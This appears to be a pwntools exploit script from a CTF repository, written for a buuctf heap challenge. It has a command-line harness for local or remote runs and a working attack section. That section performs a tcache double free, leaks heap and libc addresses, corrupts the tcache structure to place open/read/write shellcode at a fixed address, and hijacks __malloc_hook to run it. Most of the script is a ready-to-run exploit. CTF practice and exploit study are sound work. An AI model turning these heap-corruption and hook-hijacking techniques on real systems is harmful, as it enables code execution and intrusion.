<reponame>RoderickChan/ctf_tasks
from pwn import *
from LibcSearcher import LibcSearcher
import click
import sys
import os
import time
import functools
'''
本脚本为做buuctf上的pwn题所编写，利用click模块配置命令行参数，
能方便地进行本地调试和远程解题。
本地命令：
    python3 exp.py filename --tmux 1 --gdb-breakpoint 0x804802a
    即可开始本地调试,并且会断在地址或函数处 建议启动tmux。tmux是一个窗口管理神器！
远程命令：
    python3 exp.py filename -i 127.0.0.1 -p 22164
    可以连接指定的IP和端口。目前在刷buuctf上的题，所以填了默认ip，只指定端口即可。
'''

FILENAME = '#' # 要执行的文件名
DEBUG = 1 # 是否为调试模式
TMUX = 0 # 是否开启TMUX
GDB_BREAKPOINT = None # 当tmux开启的时候，断点的设置
IP = None # 远程连接的IP
PORT = None # 远程连接的端口
LOCAL_LOG = 1 # 本地LOG是否开启
PWN_LOG_LEVEL = 'debug' # pwntools的log级别设置
STOP_FUNCTION = 1 # STOP方法是否开启

CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])

@click.command(context_settings=CONTEXT_SETTINGS, short_help='Do pwn!')
@click.argument('filename', nargs=1, type=str, required=0, default=None)
@click.option('-d', '--debug', default=True, type=bool, nargs=1, help='Excute program at local env or remote env. Default value: True.')
@click.option('-t', '--tmux', default=False, type=bool, nargs=1, help='Excute program at tmux or not. Default value: False.')
@click.option('-gb', '--gdb-breakpoint', default=None, type=str, help='Set a gdb breakpoint while tmux is enabled, is a hex address or a function name. Default value:None')
@click.option('-i', '--ip', default=None, type=str, nargs=1, help='The remote ip addr. Default value: None.')
@click.option('-p', '--port', default=None, type=int, nargs=1, help='The remote port. Default value: None.')
@click.option('-ll', '--local-log', default=True, type=bool, nargs=1, help='Set local log enabled or not. Default value: True.')
@click.option('-pl', '--pwn-log', type=click.Choice(['debug', 'info', 'warn', 'error', 'notset']), nargs=1, default='debug', help='Set pwntools log level. Default value: debug.')
@click.option('-sf', '--stop-function', default=True, type=bool, nargs=1, help='Set stop function enabled or not. Default value: True.')
def parse_command_args(filename, debug, tmux, gdb_breakpoint, ip, 
                       port, local_log, pwn_log, stop_function):
    '''FILENAME: The filename of current directory to pwn'''
    global FILENAME, DEBUG, TMUX, GDB_BREAKPOINT, IP, PORT, LOCAL_LOG, PWN_LOG_LEVEL, STOP_FUNCTION
    # assign
    FILENAME = filename
    DEBUG = debug
    TMUX = tmux
    GDB_BREAKPOINT = gdb_breakpoint
    IP = ip
    PORT = port
    LOCAL_LOG = local_log
    PWN_LOG_LEVEL = pwn_log
    STOP_FUNCTION = stop_function

    # change
    if PORT: # 远程下这些是需要关闭的
        DEBUG = 0
        TMUX = 0
        STOP_FUNCTION = 0
        GDB_BREAKPOINT = None
        if IP is None:
            IP = 'node3.buuoj.cn'
    
    if DEBUG:
        IP = None
        PORT = None
    
    # assert
    assert not (FILENAME is None and PORT is None), 'para error'
    assert not (FILENAME is None and DEBUG == 1), 'para error'
    assert not (PORT is not None and DEBUG == 1), 'para error'
    assert not (DEBUG == 0 and TMUX == 1), 'para error'
    
    # print
    click.echo('=' * 50)
    click.echo(' [+] Args info:\n')
    if FILENAME:
        click.echo('  filename: %s' % FILENAME)
    click.echo('  debug enabled: %d' % DEBUG)
    click.echo('  tmux enabled: %d' % TMUX)
    if GDB_BREAKPOINT:
        click.echo('  gdb breakpoint: %s' % GDB_BREAKPOINT)
    if IP:
        click.echo('  remote ip: %s' % IP)
    if PORT:
        click.echo('  remote port: %d' % PORT)
    click.echo('  local log enabled: %d' % LOCAL_LOG)
    click.echo('  pwn log_level: %s' % PWN_LOG_LEVEL)
    click.echo('  stop function enabled: %d' % STOP_FUNCTION)
    click.echo('=' * 50)
    

parse_command_args.main(standalone_mode=False)

if len(sys.argv) == 2 and sys.argv[1] == '--help':
    sys.exit(0)

if DEBUG:
    io = process('./{}'.format(FILENAME))
else:
    io = remote(IP, PORT)

if TMUX:
    context.update(terminal=['tmux', 'splitw', '-h'])
    if GDB_BREAKPOINT is None:
        gdb.attach(io)
    else:
        if '0x' in GDB_BREAKPOINT:
            GDB_BREAKPOINT = '*' + GDB_BREAKPOINT
        gdb.attach(io, gdbscript='b {}\nc\n'.format(GDB_BREAKPOINT))


if FILENAME:
    cur_elf = ELF('./{}'.format(FILENAME))
    print('[+] libc used ===> {}'.format(cur_elf.libc))

def LOG_ADDR(addr_name:str, addr:int):
    if LOCAL_LOG:
        log.success("{} ===> {}".format(addr_name, hex(addr)))
    else:
        pass


def LOG_ADDR_EX(addr_name:str):
    '''
    存储地址的变量名，字符串
    如：a = 0xdeadbeef 
    调用: LOG_ADDR_EX('a')
    
    '''
    if LOCAL_LOG:
        # 利用eval函数, 首先检索一下
        if addr_name in globals() or addr_name in vars():
            tmp_var = eval(addr_name)
            log.success("{} ===> {}".format(addr_name, hex(tmp_var)))
        else:
            log.warn("No variable named: '" + addr_name + "'")
    else:
        pass
    

STOP_COUNT = 0
def STOP(idx:int=-1):
    if not STOP_FUNCTION:
        return
    if idx != -1:
        print("stop...{} {}".format(idx, proc.pidof(io)))
    else:
        global STOP_COUNT
        print("stop...{}  {}".format(STOP_COUNT, proc.pidof(io)))
        STOP_COUNT += 1
    pause()


############### 定义一些偏函数 ###################

int16 = functools.partial(int, base=16)

#################### END ########################


############### 定义一些装饰器函数 ###############

def time_count(func):
    '''
    装饰器：统计函数运行时间
    '''
    @functools.wraps(func)
    def wrapper(*args, **kwargs):
        print('=' * 50)
        print('function #{}# start...'.format(func.__name__))
        start = time.time()
        res = func(*args, **kwargs)
        end = time.time()
        print('function #{}# end...execute time: {} s / {} min'.format(func.__name__, end - start, (end - start) / 60))
        return res
    return wrapper


def sleep_call(second:int=1, mod:int=1):
    """
    装饰器：在调用函数前后线程先睡眠指定秒数
    
    Args:
        second: 休眠秒数
        mod: 0 不休眠; 1 为调用前休眠; 2 为调用后休眠; 3 为前后均修眠
    """
    if mod > 3 or mod < 0:
        mod = 1
    def wrapper1(func):
        @functools.wraps(func)
        def wrapper2(*args, **kwargs):
            if mod & 1:
                time.sleep(second)
            res = func(*args, **kwargs)
            if mod & 2:
                time.sleep(second)
            return res
        return wrapper2
    return wrapper1
    
#################### END ########################

context.update(log_level=PWN_LOG_LEVEL)

# 一般需要带上文件
assert FILENAME is not None, 'give me a file!'
##################################################
##############以下为攻击代码#######################
##################################################
context.update(arch='amd64', os='linux', endian='little')

def add_note(size:int):
    global io
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))
    io.recvuntil("Done!\n")

def show_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    msg = io.recvline()
    leak_addr = msg[9:15]
    leak_addr = u64(leak_addr.ljust(8, b'\x00'))
    LOG_ADDR('leak_addr', leak_addr)
    io.recvuntil("Done!\n")
    return leak_addr

def edit_note(idx:int, content:bytes=b'a'):
    global io
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)
    io.recvuntil("Done!\n")

def del_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    io.recvuntil("Done!\n")


# tcache bin dup
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)

# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)

add_note(0x100) # 3
add_note(0x100) # 4 tcache struct 
LOG_ADDR('tcache_struct', tcache_struct)

edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))

# 0x66660000 chunk
add_note(0x100) # 5

shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

# leak libc_addr
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
LOG_ADDR('malloc_hook', malloc_hook)
edit_note(4, 0xb8 * b'\x00' + p64(malloc_hook))

add_note(0x100) # 6
edit_note(6, p64(0x66660000))

io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))

io.interactive()



